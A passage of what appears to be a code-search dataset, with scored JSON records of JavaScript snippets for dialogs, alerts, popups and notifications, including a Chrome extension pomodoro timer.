JQDialogAlert(\"Data deleted successfully.\", \"dialogSuccess\");\n\n ResetDeliverByGrid();\n\n }\n else {\n //show message in popup\n $(\"#updateTargetId\").show();\n\n }\n}", "title": "" }, { "docid": "e722017085d9e53914500e18f3ff141b", "score": "0.5241264", "text": "function PopupStartController(){\n\n }", "title": "" }, { "docid": "0ee9e1ab06342c958f82f4dbcaeb1af4", "score": "0.52295583", "text": "function openNormalDialog() {\n $(\"#confirmationDialog\").html(\"Are you sure you want to re-index?\" + \"<br>\" + \n \"Make sure you have the correct files in the savedata folder before proceeding otherwise you might lose data!\");\n\n // Define the Dialog and its properties.\n $(\"#confirmationDialog\").dialog({\n resizable: false,\n modal: true,\n title: \"WARNING!\",\n height: 275,\n width: 450,\n buttons: {\n \"Yes\": function () {\n $(this).dialog('close');\n callback(true);\n },\n \"No\": function () {\n $(this).dialog('close');\n callback(false);\n }\n }\n });\n}", "title": "" }, { "docid": "52528179fb1c887a86495299a0ff209a", "score": "0.5229364", "text": "function start() {\n managerPrompt();\n}", "title": "" }, { "docid": "1ae47fe7ef70aea9e89ed5aea769fbf6", "score": "0.522292", "text": "emmiterNotification(val) {\n this.showNotification$.next(val);\n }", "title": "" }, { "docid": "19166f5ee289fbe36a10b566f6b57f73", "score": "0.52135766", "text": "function carregando(){\r\n\t$( \"#carregando\" ).dialog(\"open\");\r\n}", "title": "" }, { "docid": "b1a0155e40c63990b7d5f0d91a077a87", "score": "0.52110755", "text": "function preferences_click() {\n $(\"#preferences_dialog\").dialog({\n modal: true,\n buttons: {\n Ok: function () {\n save_preferences();\n $(this).dialog(\"close\");\n }\n }\n });\n}", "title": "" }, { "docid": "03037605b3b6203151912e439dbb5a54", "score": "0.5206951", "text": "static open_info_dialog() {\n\n let info_dialog = new Dialog('info')\n info_dialog.show()\n }", "title": "" }, { "docid": "702fbd0b1c30d96d53f3dca7269ad126", "score": "0.5204828", "text": "confirm() {\n osWindow.close(this.element);\n }", "title": "" }, { "docid": "61275aa4bb8fd603c03dd6b98e275f38", "score": "0.5194977", "text": "function openNotificationAndNewtab(donePomo, enableNewTab, enableNotifi){\r\n\tif(donePomo){ // if pomodoro done\r\n\t\tif(enableNewTab==\"true\"){\r\n\t\t\t//open new tab\r\n\t\t\tlet optionsUrl = chrome.extension.getURL('newtab.html');\r\n\t\t\tchrome.tabs.query({url: optionsUrl}, function(tabs) {\r\n\t\t\t\tif(!tabs.length){\r\n\t \t\tchrome.tabs.create({url: optionsUrl});\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\tif(enableNotifi==\"true\"){\r\n\t\t\tlet notifi = {\r\n\t\t\t\ttitle: 'Done',\r\n\t\t\t\tmessage: 'You have done a pomodoro!!!',\r\n\t\t\t\ticonUrl: 'tomato.png',\r\n\t\t\t\ttype: 'basic',\r\n\t\t\t\tbuttons: [\r\n\t\t\t\t\t{\r\n\t\t\t\t\t \"title\": \"Start Rest\"\r\n\t\t\t\t\t}\r\n\t\t\t\t]\r\n\t\t\t}\r\n\t\t\tchrome.notifications.create('sdsdsd', notifi);\r\n\t\t\t// handle event when click the button\r\n\t\t\tchrome.notifications.onButtonClicked.addListener((id, index) => {\r\n\t\t\t\tchrome.notifications.clear(id);\r\n\t\t\t\t// start rest\r\n\t\t\t\tstartRest()\r\n\t\t\t});\r\n\t\t};\r\n\t}else{ // if rest done\r\n\t\tif(enableNewTab==\"true\"){\r\n\t\t\t//open new tab\r\n\t\t\tlet optionsUrl = chrome.extension.getURL('newtab.html');\r\n\t\t\tchrome.tabs.query({url: optionsUrl}, function(tabs) {\r\n\t\t\t\tif(!tabs.length){\r\n\t \t\tchrome.tabs.create({url: optionsUrl});\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\tif(enableNotifi==\"true\"){\r\n\t\t\tlet notifi = {\r\n\t\t\t\ttitle: 'Done',\r\n\t\t\t\tmessage: 'It is time to start a pomodoro !!!',\r\n\t\t\t\ticonUrl: 'tomato.png',\r\n\t\t\t\ttype: 'basic',\r\n\t\t\t\tbuttons: [\r\n\t\t\t\t\t{\r\n\t\t\t\t\t \"title\": \"Start a pomodoro\"\r\n\t\t\t\t\t}\r\n\t\t\t\t]\r\n\t\t\t}\r\n\t\t\tchrome.notifications.create('sdsdsd', notifi);\r\n\t\t\t// handle event when click the button\r\n\t\t\tchrome.notifications.onButtonClicked.addListener((id, index) => {\r\n\t\t\t\tchrome.notifications.clear(id);\r\n\t\t\t\t// start count\r\n\t\t\t\tstartCount()\r\n\t\t\t});\r\n\t\t}\r\n\t}\t\r\n}", "title": "" }, { "docid": "04427264fe43402fff19ae141bdda117", "score": "0.51930654", "text": "saveCurrentImageClicked(){\n\t\t//Signal main process to open OS's file dialog\n\t\tipc.send('open-save-dialog');\n\t}", "title": "" }, { "docid": "c7927bd4be0a8c7dc554ec1c37624416", "score": "0.51896703", "text": "function openModalDialog(message) {\n\t\tif (this.opened == true) {\n\t\t\tthis.closeModalDialog();\n\t\t}\n\t\tthis.opened = true;\n\t\tvar fullHTML = \"\";\n\t\tif (!message) {\n\t\t\tmessage = \"\";\n\t\t}\n\n\t\tfullHTML += \"<div class='ui-body ui-body-v'>\";\n\t\tfullHTML += \"<h3>Please Wait ...</h3>\";\n\t\tfullHTML += \"<p>\" + message + \"<strong></strong> <em></em></p>\";\n\t\tfullHTML += \"<div data-role='collapsible' data-collapsed='true' data-theme='v'>\";\n\t\t/*\n\t\t * fullHTML += \"<h3>More</h3>\"; fullHTML += \"<p></p>\";\n\t\t */\n\t\tfullHTML += \"</div>\";\n\t\tfullHTML += \"</div>\";\n\n\t\t/*\n\t\t * fullHTML = \"<ul data-role='listview'><li>Please Wait ... \" +\n\t\t * message + \" ...</li></ul>\";\n\t\t */\n\n\t\t$('#main').simpledialog({\n\t\t\t'mode' : 'blank',\n\t\t\t'prompt' : false,\n\t\t\t'forceInput' : true,\n\t\t\t'cleanOnClose' : true,\n\t\t\t'useModal' : true,\n\t\t\t'fullHTML' : fullHTML\n\t\t});\n\t}", "title": "" }, { "docid": "899c516da0cacb2261a985d487f1b1de", "score": "0.51843524", "text": "showDialog3() {\n let dialog3 = document.getElementById(AppsterGUIId.APPSTER_YES_NO_MODAL);\n dialog3.classList.add(AppsterGUIClass.IS_VISIBLE);\n }", "title": "" }, { "docid": "0b4bb2b22b09e13c8281973f382079b1", "score": "0.51771665", "text": "function UIPopupWindow() {}", "title": "" }, { "docid": "3233332f4f5e4d6a2944c4f1691a517c", "score": "0.51650596", "text": "openDialog( state, { type = \"info\", title = \"\", message = \"\", confirm = null, cancel = null }) {\n state.dialog = { type, title , message, confirm, cancel };\n }", "title": "" }, { "docid": "02fd7bf2b2a979a85a8eb1a65b2957fc", "score": "0.51602143", "text": "confirm() {\n this.dialogRef.close(true);\n }", "title": "" }, { "docid": "412f8cc32be4486d384c60990e30369f", "score": "0.51563084", "text": "function IdleWarning() {\r\n if (confirm(\"¿Desea Extender Sesión?\") == true) {\r\n ResetTimers();\r\n }\r\n\r\n $(\"#timeout\").dialog({\r\n modal: true\r\n });\r\n}", "title": "" }, { "docid": "f1ecbd3cfe16d56e3aa112c730132c57", "score": "0.5154526", "text": "function onOK() {\r\n\t// just close the window\r\n\treturn true;\r\n}", "title": "" }, { "docid": "237f9706943f4bb6f7ed96a885ac8eef", "score": "0.5152817", "text": "function showAlertatStartUp(){\n var r = alert(\"Here, you can try the process model viewer and process model animation. \\n\\n\\nYou can start the model viewer and animation tutorials using the buttons down the page.\");\n //Please scroll to zoom in/out and click and hold the process to move around.\");\n //$('[animStep-button-click]').prop('disabled', true);\n //$('[animSel-button-click]').prop('disabled', true);\n $('[data-open-file]').prop('disabled', true);\n $('[dropdown-button-click]').prop('disabled', true);\n var timeStamp = Math.floor(Date.now() / 1000); \n //Butona basildigi zaman ile ayni is yapiliyor. \n //initiateAnimation();\n}", "title": "" }, { "docid": "97675da1e84ab4dc00355fdc8e41f9d0", "score": "0.5148848", "text": "function Dialog_show() {\n\n\tvar confirmClear = Titanium.UI.createAlertDialog({\n\t\tmessage : 'Exit App?',\n\t\tbuttonNames : ['Yes', 'No']\n\t}).show();\n\tconfirmClear.addEventListener('click', function(e) {\n\t\tif (e.index === 0) {\n\t\t\tcloseWindow();\n\t\t}\n\t});\n}", "title": "" }, { "docid": "53d6519b2e8df80e9bf9ecec7986f9fe", "score": "0.51484835", "text": "openDialog () {\n $(this.selector).dialog('open')\n }", "title": "" }, { "docid": "780fe02b791608f7a69a21b2ead47ad2", "score": "0.5145096", "text": "function showAlert() {\n navigator.notification.alert(\n 'Tack för dina synpunkter!', // message\n alertDismissed, // callback\n 'ETER Support', // title\n 'OK' // buttonName\n );\n }", "title": "" }, { "docid": "c3ee989f434e781a4566e75b32d5a3dd", "score": "0.5140946", "text": "function popupMessageReceived(msg) {}", "title": "" }, { "docid": "2c8178cc1af307c6111989e6ad3e2278", "score": "0.51361346", "text": "function showNotification () {\n const notification = {\n title: 'Miqui says',\n body: 'Hi! This is a notification from the Main process'\n }\n new Notification(notification).show()\n}", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" }, { "docid": "e1bc0718bc0fa0be236362713d9fb057", "score": "0.51338613", "text": "function start() {\n\n gw_job_process.UI();\n\n }", "title": "" } ]
5ccd234cbba843f93352bb8c23d93693
eliminate colinear or duplicate points
[ { "docid": "3ed4153594d0d3231e0b856fb46445ef", "score": "0.0", "text": "function filterPoints( start, end ) {\n\n \tif ( ! start ) return start;\n \tif ( ! end ) end = start;\n\n \tvar p = start, again;\n\n \tdo {\n\n \t\tagain = false;\n\n \t\tif ( ! p.steiner && ( equals( p, p.next ) || area( p.prev, p, p.next ) === 0 ) ) {\n\n \t\t\tremoveNode( p );\n \t\t\tp = end = p.prev;\n \t\t\tif ( p === p.next ) break;\n \t\t\tagain = true;\n\n \t\t} else {\n\n \t\t\tp = p.next;\n\n \t\t}\n\n \t} while ( again || p !== end );\n\n \treturn end;\n\n }", "title": "" } ]
[ { "docid": "2f2aedf625a03f3eda933d997cc2e7c3", "score": "0.66731256", "text": "function removeDuplicateRes(data) {\n var obCounter = {},\n discardOb,\n discardInd;\n for (var ob of data) {\n discardOb = ''+ob.coords.x +''+ob.coords.y;\n if (obCounter.hasOwnProperty(discardOb)){\n discardInd = data.indexOf(ob)\n data.splice(discardInd,1)\n } else {\n obCounter[discardOb] = undefined\n }\n }\n return data\n}", "title": "" }, { "docid": "ee55424ba120605435ade56ddd2bc99a", "score": "0.6363943", "text": "function removeColinearPoints(orderedPoints, optTolerance) {\n var didRemove = false;\n var rslt = {removed: false, points: orderedPoints};\n if (orderedPoints.length < 3) return rslt;\n var toRemove = [];\n // remove the last element since it is a circular list\n if (orderedPoints[0].x === orderedPoints[orderedPoints.length-1].x\n && orderedPoints[0].y === orderedPoints[orderedPoints.length-1].y)\n {\n orderedPoints.splice(orderedPoints.length-1, 1);\n }\n\n // order points should now be a unique set of points\n orderedPoints = _.uniqWith(orderedPoints, _.isEqual); // TODO performance\n\n for (var i = 0; i < orderedPoints.length; i++) {\n var start = i === 0 ? orderedPoints.length-1 : i-1;\n var p1 = orderedPoints[start];\n var p2 = orderedPoints[i];\n var p3 = orderedPoints[(i+1)%orderedPoints.length]; // 2,3,0\n if (isColinear(p1, p2, p3, optTolerance)) {\n var center = _.sortBy([p1, p2, p3], 'y')[1];\n // console.log(\"Removing point(\" + center.x + \", \" + center.y + \")\");\n toRemove.push(center);\n }\n }\n\n if (toRemove.length > 0) {\n _.forEach(toRemove, function(p) {\n var removedPoints = _.remove(orderedPoints, function (orderedPoint) {\n return orderedPoint.x === p.x && orderedPoint.y === p.y;\n });\n if (removedPoints.length === 0) throw \"invalid remove operation\";\n });\n didRemove = true;\n }\n // place the ending back on\n orderedPoints.push(orderedPoints[0]);\n return {removed: didRemove, points: orderedPoints};\n}", "title": "" }, { "docid": "ac57f209b833e08ae0b3606311d0b55a", "score": "0.6301167", "text": "function remove1Point() {\n myPoints -=1;\n}", "title": "" }, { "docid": "b852502412dac70a52bf40bf195f32e2", "score": "0.6254823", "text": "isSurroundedCoordsExist(surroundedCoords, board, enemyColor) {\n var indexOfWrongCluster = []; //why is that name so fucking awful??\n var isFound = false;\n\n\n for (var i = 0; i < surroundedCoords.length; i++) {\n for (var j = 0; j < surroundedCoords[i].length; j++) {\n isFound = false;\n\n //checks all color stones\n for (var index = 0; index < board.stoneCoords[enemyColor].length; index++) {\n if (board.isClusterContainsStone(index, surroundedCoords[i][j], enemyColor)) {\n isFound = true;\n break;\n }\n }\n\n if (!isFound) {\n indexOfWrongCluster.push(i);\n break;\n }\n }\n }\n\n\n var shift = 0;\n\n for (var i = 0; i < indexOfWrongCluster.length; i++) {\n var current = indexOfWrongCluster[i] - shift;\n surroundedCoords.splice(current, 1);\n\n shift++;\n }\n }", "title": "" }, { "docid": "2e988c2cb958e03d6612c8d79a1225e6", "score": "0.6226641", "text": "function removeInternalPoints() {\n\t\tlet i = 0;\n\t\twhile (i !== hull.length) {\n\t\t\tconst newArray = [...hull];\n\t\t\tnewArray.splice(i, 1);\n\t\t\tconst isInside = hull[i].isInsidePolygon(newArray);\n\t\t\tif (isInside) {\n\t\t\t\thull.splice(i, 1);\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5c02429ae359162a6e1e74594a047317", "score": "0.6162339", "text": "function delaunay(points){\r\n function addElementToRedundanciesMap(set, tri){\r\n if(tri.key in set){\r\n set[tri.key].overlap = true;\r\n } else {\r\n set[tri.key] = tri;\r\n }\r\n }\r\n \r\n // key : Triangle._getKey\r\n // value : Triangle instance\r\n var triangles = {};\r\n \r\n var hugeTriangle = getHugeTriangle(points);\r\n triangles[\"huge\"] = hugeTriangle;\r\n \r\n for(var i = 0, iEnd = points.length; i < iEnd; i++){\r\n var p = points[i];\r\n var tmp_triangles = {};\r\n \r\n for(var key in triangles){\r\n var t = triangles[key];\r\n \r\n if(t.isInsideCircle(p)){\r\n addElementToRedundanciesMap(tmp_triangles, new Triangle(p, t.p1, t.p2));\r\n addElementToRedundanciesMap(tmp_triangles, new Triangle(p, t.p2, t.p3));\r\n addElementToRedundanciesMap(tmp_triangles, new Triangle(p, t.p3, t.p1));\r\n delete triangles[key];\r\n }\r\n }\r\n \r\n for(var key in tmp_triangles){\r\n var t = tmp_triangles[key];\r\n if( ! t.overlap) triangles[t.key] = t;\r\n }\r\n }\r\n \r\n for(var key in triangles){\r\n if(hugeTriangle.hasCommonPoints(triangles[key])) delete triangles[key];\r\n }\r\n \r\n return triangles;\r\n /* for(var key in triangles){\r\n triangles[key].draw();\r\n } */\r\n }", "title": "" }, { "docid": "a2ef48f022e1df52e425319b36265575", "score": "0.6066253", "text": "remove_point(ind, in_out){\n if(in_out == \"o\") this.points.o.splice(ind, 1);\n else this.points.i.splice(ind, 1);\n }", "title": "" }, { "docid": "b8ab526902cae069876a2a8abec6907f", "score": "0.59994817", "text": "function removeDuplicates(array) {\n var existingItems = [];\n return array.filter(function (item) {\n if (!existingItems.find(function (i) {\n return i.x === item.x && i.y === item.y;\n })) {\n existingItems.push(item);\n return true;\n } else {\n return false;\n }\n });\n}", "title": "" }, { "docid": "36efce2e5d27c2940391dfd45ca3be3b", "score": "0.594605", "text": "function clearComparison(e) {\n\t//remove information on the previous coordinate(s), if they exist\n\t$('.coordinate').remove(); \n}", "title": "" }, { "docid": "65ba13d583f2a7ce86c2d5ee747ea671", "score": "0.5939511", "text": "function point_clean(){\n p1({ x:min_x(), y:min_y() });\n p2({ x:max_x(), y:max_y() });\n }", "title": "" }, { "docid": "7f29585af159650e3a6cf51d5015dd48", "score": "0.5917141", "text": "function removePoints(selection) {\r\n\tif (selection == 'colleges') {\r\n\t\td3.selectAll(\".ptsWorshipSites\")\r\n\t\t\t.remove();\r\n\t\tconsole.log(\"Removing worshipsites\");\r\n\t}\r\n\telse if (selection == 'worshipsites') {\r\n\t\td3.selectAll(\".ptsColleges\")\r\n\t\t\t.remove();\r\n\t\tconsole.log(\"Removing colleges\");\r\n\t}\r\n\telse {\r\n\t\td3.selectAll(\".ptsColleges\")\r\n\t\t\t.remove();\r\n\t\td3.selectAll(\".ptsWorshipSites\")\r\n\t\t\t.remove();\r\n\t\tconsole.log(\"Removing all points\");\r\n\t}\r\n}", "title": "" }, { "docid": "2900079c711b77f9d7bbeb36daedfb6b", "score": "0.590555", "text": "unifyWithPiece(piece){\n var cp = this.getCommonPointsWithPiece(piece);\n \n //if this piece has exactly two points (one edge) in common with given piece\n if(cp.length === 2){\n\n //DEBUG\n //append(\"\\nthis board points: \" + this.boardPoints);\n //append(\"given board points: \" + piece.boardPoints);\n //append(\"common points: \" + cp);\n\n //unify board points\n var i1 = 0;\n var i2;\n var newBoardPoints = [];\n var p;\n \n while(true){\n p = this.boardPoints[i1];\n if(!contains(cp, p)){\n break;\n }\n i1++;\n }\n \n while(true){\n p = this.boardPoints[i1];\n i2 = getIndexOf(piece.boardPoints, p);\n newBoardPoints.push(p);\n if(i2 > -1){\n i2 = (i2 + 1) % piece.boardPoints.length;\n break;\n }\n i1 = (i1 + 1) % this.boardPoints.length;\n }\n \n while(true){\n p = piece.boardPoints[i2];\n i1 = getIndexOf(this.boardPoints, p);\n if(i1 > -1){\n break;\n }\n newBoardPoints.push(p);\n i2 = (i2 + 1) % piece.boardPoints.length;\n }\n \n while(true){\n p = this.boardPoints[i1];\n if(contains(newBoardPoints, p)){\n break;\n }\n newBoardPoints.push(p);\n i1 = (i1 + 1) % this.boardPoints.length;\n }\n \n \n //unify grid triangles\n //this.gridTriangles = this.gridTriangles.concat(piece.gridTriangles);\n\n //append(\"new board points: \" + newBoardPoints);\n var newPiece = new Piece([COLORS[YELLOW]]);\n newPiece.addBoardPoints(newBoardPoints);\n newPiece.addGridTriangles(concatLists(this.gridTriangles, piece.gridTriangles));\n \n //append(\"new piece:\");\n //append(newPiece.toString());\n \n return newPiece;\n \n //if this piece does not border with given piece\n }else{\n //append(\"no overlap\");\n return null;\n }\n }", "title": "" }, { "docid": "cec270da894ef0ce4c718e399b21167a", "score": "0.57826996", "text": "removeCoord(x, y) {\n this.remove(new Point(x, y));\n }", "title": "" }, { "docid": "6802dfb10000af4dc5c342ec32763131", "score": "0.5712853", "text": "removeLastPoint() {\n this.removeLastPoints_(1);\n }", "title": "" }, { "docid": "cf087010f8f8b4a6db79585cc903d2b9", "score": "0.5705723", "text": "clearPoints () {\n let layer = brApp.map.getLayer(KEYS.customAnalysis);\n if (layer) {\n const {graphics} = layer;\n graphics.forEach((graphic) => {\n if (graphic.geometry.type === 'point') {\n layer.remove(graphic);\n }\n });\n }\n }", "title": "" }, { "docid": "6d6d4aae8e6470bd393a7a69c3f577e9", "score": "0.57026315", "text": "unique() {\n let new_centroids = [];\n\n // Iterate over all centroids\n for (let i = 0; i < this.centroids.length; i++) {\n let c1 = this.centroids[i];\n\n // Iterate over the new centroid list without duplicates\n let found = false;\n for (let j = 0; j < new_centroids.length; j++) {\n let c2 = new_centroids[j];\n // Check if distance is below a min distance\n let d = this.dist_func(c1, c2);\n if (d <= 0.2) {\n // Centroids are close - merge them\n found = true;\n c2.merge(c1);\n break;\n }\n }\n // New centroid - add it\n if (!found) {\n c1.set_assigned();\n new_centroids.push(c1);\n }\n }\n\n // Set new centroids\n this.centroids = new_centroids;\n\n // Set label\n for (let i = 0; i < this.centroids.length; i++) {\n this.centroids[i].label = i + 1;\n this.centroids[i].move_to_center();\n }\n }", "title": "" }, { "docid": "4bdd07b87924efb696ef7fd1c9097d9d", "score": "0.5610615", "text": "deletePoint(p) {\n if (p.value == 0) {\n // Point will not be in the index\n return;\n }\n delete this.xyToIndexInColorDict[this.pointToStr(p)];\n this.setLocation(p.x, p.y, 0);\n }", "title": "" }, { "docid": "4bb081e08bc431924867d984678ba1db", "score": "0.5573232", "text": "function removePointAndEdges(x, y) {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n\n //iterate through vertices and remove vertice\n for (var i = 0; i < vertices.length; i = i + 2) {\n if (vertices[i] == x && vertices[i + 1] == y) {\n vertices.splice(i, 2);\n i = i - 2;\n }\n }\n //iterate through edges. if edge was connected to deleted vertice, remove edge\n for (i = 0; i < edges.length; i = i + 8) {\n if (\n (edges[i] == x && edges[i + 1] == y) ||\n (edges[i + 2] == x && edges[i + 3] == y)\n ) {\n edges.splice(i, 8);\n i = i - 8;\n }\n }\n //update edge indices as vertex indices have changed\n updateEdgeIndices();\n}", "title": "" }, { "docid": "7414a638f1e1982dacae1b416feca4c1", "score": "0.5556351", "text": "function removeMarkers(points) {\n for (var i in points) {\n points[i].setMap(null);\n }\n points = []\n}", "title": "" }, { "docid": "be5a04c7df58a568573532c5cf170ae0", "score": "0.55442077", "text": "remove(x, y) {\n for (var i = 0; i < this.holds.length; i++) {\n if (this.holds[i].dist(x, y) <= this.radius) {\n this.holds.splice(i, 1);\n }\n }\n }", "title": "" }, { "docid": "00492d726c070a6502c0066998b47ec0", "score": "0.55287045", "text": "removeDuplicates(a, thresh) {\n let ok = true;\n\n for (let b of this.placed) {\n if(a.prev == b){ continue; }\n\n if (a.node.distanceTo(b.node) <= thresh) {\n a.prev.connect(b);\n b.sever(a);\n\n for (let sib of a.siblings) {\n a.sever(sib);\n b.connect(sib);\n }\n\n this.crossings.pop();\n this.crossings.push(b.node);\n\n ok = false;\n break;\n }\n }\n\n return ok;\n }", "title": "" }, { "docid": "0b2a2f960c683c7c88f4fd2adecdafd0", "score": "0.5511497", "text": "function uniqueCell(x,y){\n // console.log(\"X: \", x,\" \", lastPos.x)\n // console.log(\"Y: \", y,\" \", lastPos.y)\n // console.log(grid[y][x],' ', playerTool)\n\n if(grid[y][x] != playerTool){\n lastPos.x = x;\n lastPos.y = y;\n return true;\n }\n else if(x != lastPos.x || y != lastPos.y){\n lastPos.x = x;\n lastPos.y = y;\n return true;\n }\n else{\n lastPos.x = x;\n lastPos.y = y;\n return false;\n }\n}", "title": "" }, { "docid": "ef047c61cf4a2b1d072f74ba3220555f", "score": "0.54840535", "text": "function cleanPSLG (points, edges, colors) {\n // If using colors, augment edges with color data\n var prevEdges\n if (colors) {\n prevEdges = edges\n var augEdges = new Array(edges.length)\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n augEdges[i] = [e[0], e[1], colors[i]]\n }\n edges = augEdges\n }\n\n // First round: remove duplicate edges and points\n var modified = preRound(points, edges, !!colors)\n\n // Run snap rounding until convergence\n while (snapRound(points, edges, !!colors)) {\n modified = true\n }\n\n // Strip color tags\n if (!!colors && modified) {\n prevEdges.length = 0\n colors.length = 0\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n prevEdges.push([e[0], e[1]])\n colors.push(e[2])\n }\n }\n\n return modified\n}", "title": "" }, { "docid": "ef047c61cf4a2b1d072f74ba3220555f", "score": "0.54840535", "text": "function cleanPSLG (points, edges, colors) {\n // If using colors, augment edges with color data\n var prevEdges\n if (colors) {\n prevEdges = edges\n var augEdges = new Array(edges.length)\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n augEdges[i] = [e[0], e[1], colors[i]]\n }\n edges = augEdges\n }\n\n // First round: remove duplicate edges and points\n var modified = preRound(points, edges, !!colors)\n\n // Run snap rounding until convergence\n while (snapRound(points, edges, !!colors)) {\n modified = true\n }\n\n // Strip color tags\n if (!!colors && modified) {\n prevEdges.length = 0\n colors.length = 0\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n prevEdges.push([e[0], e[1]])\n colors.push(e[2])\n }\n }\n\n return modified\n}", "title": "" }, { "docid": "ef047c61cf4a2b1d072f74ba3220555f", "score": "0.54840535", "text": "function cleanPSLG (points, edges, colors) {\n // If using colors, augment edges with color data\n var prevEdges\n if (colors) {\n prevEdges = edges\n var augEdges = new Array(edges.length)\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n augEdges[i] = [e[0], e[1], colors[i]]\n }\n edges = augEdges\n }\n\n // First round: remove duplicate edges and points\n var modified = preRound(points, edges, !!colors)\n\n // Run snap rounding until convergence\n while (snapRound(points, edges, !!colors)) {\n modified = true\n }\n\n // Strip color tags\n if (!!colors && modified) {\n prevEdges.length = 0\n colors.length = 0\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i]\n prevEdges.push([e[0], e[1]])\n colors.push(e[2])\n }\n }\n\n return modified\n}", "title": "" }, { "docid": "78bdd1b5fb65bf2c8692916cb266452c", "score": "0.5482122", "text": "function remover_paredes(a, b) {\n let x = a.i - b.i;\n if (x === 1) {\n a.paredes[3] = false;\n b.paredes[1] = false;\n } else if (x === -1) {\n a.paredes[1] = false;\n b.paredes[3] = false;\n }\n let y = a.j - b.j;\n if (y === 1) {\n a.paredes[0] = false;\n b.paredes[2] = false;\n } else if (y === -1) {\n a.paredes[2] = false;\n b.paredes[0] = false;\n }\n}", "title": "" }, { "docid": "60d277ced7606b8b3a90477a47afa6ac", "score": "0.5481545", "text": "remove(point) {\n this._map[point.toString()] = false;\n }", "title": "" }, { "docid": "83e0a199df8583502ef2b1f4696fc3a0", "score": "0.5472822", "text": "function pointAlreadyExist(point){\nfor (var i = 0; i < intersections.length; i++) {\n if(intersections[i][0] == point[0] && intersections[i][1] == point[1]){\n return true;\n }\n}\nreturn false;\n}", "title": "" }, { "docid": "20cce2edb94661aa7e0b2c81ed042b3a", "score": "0.5471381", "text": "constructor() {\n this.x = null;\n this.y = null;\n this.uniqueCoords = new Set();\n }", "title": "" }, { "docid": "a82e1fe56da2c7d576bd99daec7b4ffe", "score": "0.54667675", "text": "function dropLines() {\n let isLineClear = true\n for (let i = (valueArray.length - 1); i > 1; i--) {\n for (let j = 0; j < valueArray[i].length; j++) {\n if (valueArray[i][j][0] != \"・\") {\n isLineClear = false;\n }\n }\n if (isLineClear === true) {\n for (let q = 0; q < valueArray[i].length; q++) {\n if (valueArray[i - 1][q][0] != pieceCounter) {\n valueArray[i][q][0] = valueArray[i - 1][q][0];\n valueArray[i][q][1] = valueArray[i - 1][q][1];\n valueArray[i - 1][q][0] = \"・\";\n valueArray[i - 1][q][1] = \"colour\";\n }\n }\n }\n isLineClear = true;\n }\n}", "title": "" }, { "docid": "45d3b7a2ccd48e09c2c0e5debdccd5de", "score": "0.5461481", "text": "function cleanPSLG(points, edges, colors) {\n // If using colors, augment edges with color data\n var prevEdges;\n if (colors) {\n prevEdges = edges;\n var augEdges = new Array(edges.length);\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i];\n augEdges[i] = [e[0], e[1], colors[i]];\n }\n edges = augEdges;\n }\n // First round: remove duplicate edges and points\n var modified = preRound(points, edges, !!colors);\n // Run snap rounding until convergence\n while (snapRound(points, edges, !!colors)) {\n modified = true;\n }\n // Strip color tags\n if (!!colors && modified) {\n prevEdges.length = 0;\n colors.length = 0;\n for (var i = 0; i < edges.length; ++i) {\n var e = edges[i];\n prevEdges.push([e[0], e[1]]);\n colors.push(e[2]);\n }\n }\n return modified;\n }", "title": "" }, { "docid": "dfbefbe8a5bae4c32b982c848e4a5ce8", "score": "0.5444487", "text": "function removeDuplicates(originalArray) {\n var Copia=originalArray;\n var Copia2= originalArray;\n var aux=0;\n for(var i =0 ;i<originalArray.length;i++){\n for(var j=0 ;j<Copia.length;j++){\n if(Copia[j].id_puerto==originalArray[i].id_puerto && Copia[j].id_unit==originalArray[i].id_unit){\n aux=parseInt(aux)+1;\n if(aux==2){\n Copia.splice(j,1);\n aux=1;\n j=0;\n aux=0;\n }\n }\n\n }\n aux=0;\n }\n Copia.orderByString(\"id_puerto\");\n return Copia;\n }", "title": "" }, { "docid": "01443cadd41f965aa1b9c7d71601ec5f", "score": "0.54305893", "text": "function removeTwinCandidatesInColumn( candidates, col, twin1, twin2, idxTwin1, idxTwin3) {\r\n\r\n\tvar row;\r\n\tfor (row = 0; row < 9; row++) {\r\n\t\tif ( (row != idxTwin1) && (row != idxTwin3) ) {\r\n\t\t\tcandidates[row][col][twin1-1] = 0;\r\n\t\t\tcandidates[row][col][twin2-1] =0;\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "eb2bb2f97f119e78da47a7a096fb6162", "score": "0.5427945", "text": "instantCompute(){\n if(this.points.length<3){\n this.drawFinishIfLessThan3Points();\n return;\n }\n for(let i=0;i<this.points.length;i++){\n for(let j=0;j<this.points.length;j++){\n if(i===j) continue;\n //To Prevent check Point j->i if i->j is already on the convexe hull\n var result = this.checked.find(obj => {\n return obj.startIdx === j && obj.endIdx ===i;\n })\n if(result) continue;\n let isLineOnHull=true;\n for(let k=0;k<this.points.length;k++){\n if(i===k || j===k) continue;\n if(orientationTest(this.points[i], this.points[j], this.points[k])){\n isLineOnHull=false;\n break;\n }\n }\n if(isLineOnHull===true){\n this.checked.push({startIdx:i, endIdx:j});\n this.hull.push(this.points[i]);\n this.hullLines.push({start:this.points[i], end: this.points[j]});\n } else {\n\n }\n }\n }\n this.drawFinish();\n this.stop(); \n }", "title": "" }, { "docid": 